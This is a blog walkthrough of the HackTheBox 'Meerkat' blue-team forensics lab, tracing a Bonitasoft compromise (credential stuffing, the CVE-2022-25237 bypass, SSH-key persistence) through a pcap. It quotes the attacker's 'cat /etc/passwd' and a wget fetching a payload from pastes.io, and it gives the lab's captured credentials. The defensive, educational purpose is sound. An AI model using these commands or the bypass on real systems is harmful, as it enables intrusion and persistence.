Sherlocks are a new offering from HackTheBox - they’ve been available since the tail end of 2023 but I’ve been busy and have only just had time to dive into them. Rather than focusing on offensive security techniques, sherlocks provide a great opportunity to sharpen your blue teaming skills - and, so far I think they’re great fun! Here, there’s no flags to capture - rather you need to obtain information to solve a series of tasks, it’s quite similar to the approach used on HTB Academy. Meerkat is rated as “easy” by HackTheBox - it’s a great place to start with sherlocks, so let’s dive in!
Scenario
Sherlocks come with a bit of scenario information which can help you along the way with the tasks - I wish HTB Machines also did this! For Meerkcat, we get:
As a fast growing startup, Forela have been utilising a business management platform. Unfortunately our documentation is scarce and our administrators aren’t the most security aware. As our new security provider we’d like you to take a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.
There’s also a a zip file to download, which contains a .pcap file with network traffic from the time of the suspected compromise as well as a .json file which seems to list some security events which were logged at the same time.
We’ll open up the pcap file in wireshark - the json file is also worth a look through, but I was able to complete all the tasks just using the pcap. Let’s now work through the tasks.
Tasks
1 - We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?
First of all, we’ll want to get our bearings and figure out which system is hosting the business management platform - a good way to start analysing a pcap is to get a feel for which systems are sending the most traffic. Often (but not always) these will be of the most interest. We can easily find this out by choosing
Statistics- > ipv4 statistics -> all addresses from the menu:
172.31.6.44 is clearly the busiest host in this capture, and we also have significant traffic from 156.146.62.213, 34.207.150.13, 54.144.148.213, 95.181.232.30, and 138.199.59.221.
As a starting point, let’s filter the packets for those destined to 172.31.6.4 - in the wireshark filter bar, we can type : ip.dst == 172.31.6.44 to do this easily.
Browsing through the traffic we can quickly see there’s some HTTP traffic heading to an endpoint called /bonita/loginservice
Bonita sounds like it could be the business management service, and a quick google confirms this is the case.
Answer Number 1: Bonitasoft.
We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out?
In order to answer this one, let’s explore the traffic a bit further - we can filter our results down even more at this point too. Right now we’re only going to be interested in POST requests (ie. login requests) to the business management system so let’s add && http.request.method == POST to our filter. Being able to quickly filter traffic to find the information we’re interested in is one of wiresharks best features, so its worth experimenting a little if this is new to you!
Now, we only have relevant traffic in view - these are all login attempts directed to the relevant server - clicking on a packet allows us to see the content (in the bottom pane) and working through these attempts reveals different usernames and passwords being submitted. More importantly for this task, we notice that sets of credentials (rather than multiple usernames with a single password at a time or vice versa) are being used - so the correct term is “credential stuffing”. We can also confirm that 156.146.62.312 is probably the primary attacker machine, since this is where each of these login attempts originates from.
Answer Number 2: Credential Stuffing
Does the vulnerability exploited have a CVE assigned - and if so, which one?
There were two ways to approach this task - I simply kept scrolling through the requests here, until I saw an interesting one which jumped out at me:
As you can see, packet numbers 2918 and 2925 don’t seem to be the same credential stuffing attack, rather we’ve got an unusual string in a request to an API endpoint - at this point, I googled “i18ntranslation bonitasoft” (Note- If you’re wondering: that ? is the query string delimiter, and not part of the string itself) and hit on this page from Rhino Security Labs:
An alternative approach here would have been to check the json file with the security alerts - it does indeed have some warnings for CVE-2022-25237.
Answer Number 3: CVE-2022-25237
Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit?
Too easy - we already have that one!
Answer Number 4: i18ntranslation
How many combinations of usernames and passwords were used in the credential stuffing attack?
For this one, we’ll want to filter down to find all of the requests to the login endpoint - we can do this with:
http.request.method == "POST" && http.request.uri contains "/bonita/loginservice"
We can see from the bottom of the wireshark window that this gives us 118 packets - however that’s not right answer - some of these packets are duplicates using some installer credentials:
So, let’s update our filter to get rid of those:
http.request.method == "POST" && http.request.uri contains "/bonita/loginservice" && !(http contains "install")
I’m not sure if HTB are including this install/install combination as part of their credential stuffing count, I’ll assume not but keep in mind that I might need to add one more to my answer later. This filter now gives 59 packets, but - this isn’t the right answer either - looking through, there’s still a duplicate or two in there.
To make things speedy, I’ll output the packets to a file, then use a bit of bash-fu to solve this one:
Since the .pacp I’ve exported from wireshark is a binary rather than a text format, I’ll need to use the strings command to get the content, then pass this to grep, get strings matching “username” (which is present i all the login attempts), then I’ll use cut to separate the data at the = mark, and print out the second field (ie, the part after the =) - visually this gives something like this:
$ strings creds.pcapng | grep username | cut -d = -f 2 | uniq
Clerc.Killich%40forela.co.uk&password
Lauren.Pirozzi%40forela.co.uk&password
<SNIP>
Mathian.Skidmore%40forela.co.uk&password
Gerri.Cordy%40forela.co.uk&password
seb.broom%40forela.co.uk&password
Finally, I’ll pass this to wc (with the -l argument to get the number of lines)
$strings creds.pcapng | grep username | cut -d = -f 2 | uniq | wc -l
This gives me 56, which is the right answer. If you wanted an easier way of doing that, you could also just count the different logins by working through each packet. Something like this works better at scale however.
Answer Number 5: 56
Which username and password combination was successful?
To solve this one, it’s possible to simply work through the packets using a filter like this:
ip.src_host == 172.31.6.44 && ip.dst_host == 156.146.62.213 && http
To see all the HTTP response packets from the business server to the attacker - we can work through this looking for a 2XX code, which will indicate success:
We can find the login which was valid by working through the communications here - or, using out knowledge of HTTP response codes, we can make things really fast by searching for a 204 (login success!) response.
This approach quickly finds the relevant packet, and the credentials which were used. In addition, we can see here that more than one IP was able to successfully authenticate - 138.199.59.221 also logged in. Let’s note that.
If we explore the JSON format packets which follow this response, we can also see evidence of the attacker utilising the POC script provided in the Rhino Security Labs article, which further confirms the attack which took place.
Answer Number 6: seb.broom@forela.co.uk:g0vernm3nt
If any, which text sharing site did the attacker utilise?
Let’s now “zoom out” a little, and get a broader view at what’s happening as part of this attack - we know that the attacker used a POC for the relevant CVE to gain access to the server, and it looks like they also used more than one host as part of the attack. From here, we’ll therefore filter with ip.host == 172.31.6.44 && http to get all of the http traffic to the business server again. Scrolling through, we can see the attacker exploiting the vulnerability to run cat /etc/passwd and then again to use wget to grab a file with wget https://pastes.io/raw/bx5gcr0et8 That’s our answer for this one!
Here were finding the file we need in the packet view:
Answer Number 7: Pastes.io
Please provide the filename of the public key used by the attacker to gain persistence on our host.
Let’s go and check out the file which is being downloaded here;
So, this file contains a curl command which will download another text file (also from pastes.io) before appending it to the authorized_keys file. The content of pastes.io/hffgra4unv will be the attackers public key - and adding it to the systems authorized_keys file will provide them with a persistent way to log in using SSH.
Answer Number 8: hffgra4unv
Can you confirmed the file modified by the attacker to gain persistence?
Another easy one, we already have this information!
Answer Number 9: /home/ubuntu/.ssh/authorized_keys
Can you confirm the MITRE technique ID of this type of persistence mechanism?
Finally, a quick visit to the MITRE ATT&CK website and a search for SSH Authorized keys will allow us to find the technique ID : https://attack.mitre.org/techniques/T1098/004/
Answer Number 9: T1098.004
Final thoughts
I really enjoyed Meerkat and I love the idea of sherlocks! Recently, I’ve felt that HTB machines have been becoming more and more nuanced and often, a bit obscure - this makes sense, it’s a gamified platform and they want to keep players interested, however I much prefer challenges which feel relevant to real world security. Sherlocks (so far at least) feel much more relevant and a great way to sharpen your blue teaming skills.
See you in the next one!